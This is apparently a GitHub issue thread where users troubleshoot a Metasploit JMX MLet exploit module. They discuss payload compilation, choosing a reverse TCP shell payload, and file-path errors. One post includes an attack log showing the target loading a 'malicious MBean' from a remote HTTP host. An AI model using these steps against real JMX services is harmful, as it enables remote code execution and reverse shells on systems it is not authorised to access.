Open igomeow opened 9 years ago
I met the same problem.
I compiled Payload.java
file from src
and save it to data/java/metasploit
folder, it works, but the .jar file didn't include the payload that I used.
Hello, I use java/shell_reverse_tcp
rather than java/meterpreter/reverse_tcp
, and it works well.
@softwarerat
Any idea why it is not able to get the MBeans from the url I provided?
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.106.191:7091/jmxrmi ... [+] Connected: rmi://192.168.106.177 1 [+] Trying to create MLet bean... [+] Loaded javax.management.loading.MLet [+] Loading malicious MBean from http://191.168.106.177:8080/mlet/ [+] Invoking: javax.management.loading.MLet.getMBeansFromURL javax.management.MBeanException: javax.management.ServiceNotFoundException: Problems while parsing URL [http://191.168.106.177:8080/mlet/], got exception [java.net.SocketException: Network is unreachable: connect] at com.sun.jmx.mbeanserver.MBeanIntrospector.unwrapInvocationTargetException(MBeanIntrospector.java:313)
I had given the mlet uri the wrong IP address of 191.168.106.177 and after I corrected it, it worked.
Hi,
I did what you said in installation part but I am getting this error when I try to use java_mlet_server.rb module. [-] Exploit failed: No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/data/java/metasploit/Payload.class
as you see files are where they should be.